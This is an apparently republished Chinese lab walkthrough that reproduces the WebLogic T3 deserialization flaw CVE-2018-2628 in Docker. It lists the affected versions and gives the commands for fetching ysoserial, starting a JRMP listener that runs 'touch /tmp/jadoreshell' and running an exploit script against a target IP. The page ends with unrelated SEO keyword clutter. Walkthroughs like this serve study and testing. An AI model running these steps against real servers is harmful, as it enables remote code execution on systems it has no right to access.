千家信息网

怎么实现Weblogic反序列化漏洞CVE-2018-2628的分析

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,本篇文章给大家分享的是有关怎么实现Weblogic反序列化漏洞CVE-2018-2628的分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看
千家信息网最后更新 2026年11月01日怎么实现Weblogic反序列化漏洞CVE-2018-2628的分析

本篇文章给大家分享的是有关怎么实现Weblogic反序列化漏洞CVE-2018-2628的分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

漏洞描述:

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

影响版本:

Oracle Weblogic Server10.3.6.0.0

Oracle Weblogic Server12.1.3.0.0

Oracle Weblogic Server12.2.1.2.0

Oracle Weblogic Server12.2.1.3.0

复现步骤:

  1. 启动漏洞环境

命令:docker-compose up -d

  1. 下载反序列化工具

命令:

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

1.启动JRMP Server,利用监听在连接成功后靶机上创建jadoreshell

命令:java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8889 Jdk7u21 "touch /tmp/jadoreshell"

2.使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload字符串,因为要实现Weblogic远程调用攻击机主机上的方法。就需要知道远程方法所在的主机地址和端口号。所以在上一步要记录攻击主机的信息。

3.替换脚本里的payload以及目标IP地址

4.执行python脚本


5.查看是否写入文本文件

命令:dockers ps

命令:docker exec -ti cve-2018-2628_weblogic_1 /bin/bash

命令:ls -al /tmp

文件写入成功

以上就是怎么实现Weblogic反序列化漏洞CVE-2018-2628的分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

命令 序列 漏洞 攻击 主机 分析 成功 地址 实例 工具 数据 文件 方法 更多 知识 程序 篇文章 脚本 传输 应用 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技财经 互联网 科技公司 深圳科技互联网 金融科技与互联网金融 紫鲸互联网科技 齐家互联网科技有限公司 中国互联网金融科技基金 互联网科技创新企业排名 互联网大会黑科技排名 恒生互联网科技指数跳水 互联网媒体平台算高科技产业 深圳育鹏互联网科技有限公司招聘 中国互联网十大科技股排名 互联网科技如何创业 卡尔迅互联网科技有限公司 张家口科技产业互联网平台 科技互联网公司两年变化 第三届互联网大会安防黑科技 瑞安市蟠桃会互联网科技有限公司 六子台科技互联网展会 喔噻互联网科技有限公司 互联网金融监管科技数据 中国互联网科技股 互联网电商科技 智网互联网科技 工业互联网等科技实现智能化赋能 科技信息时代互联网发展 安徽零酒互联网科技有限公司 陕西彩京云互联网科技有限公司 平安好医生打造互联网科技医疗
0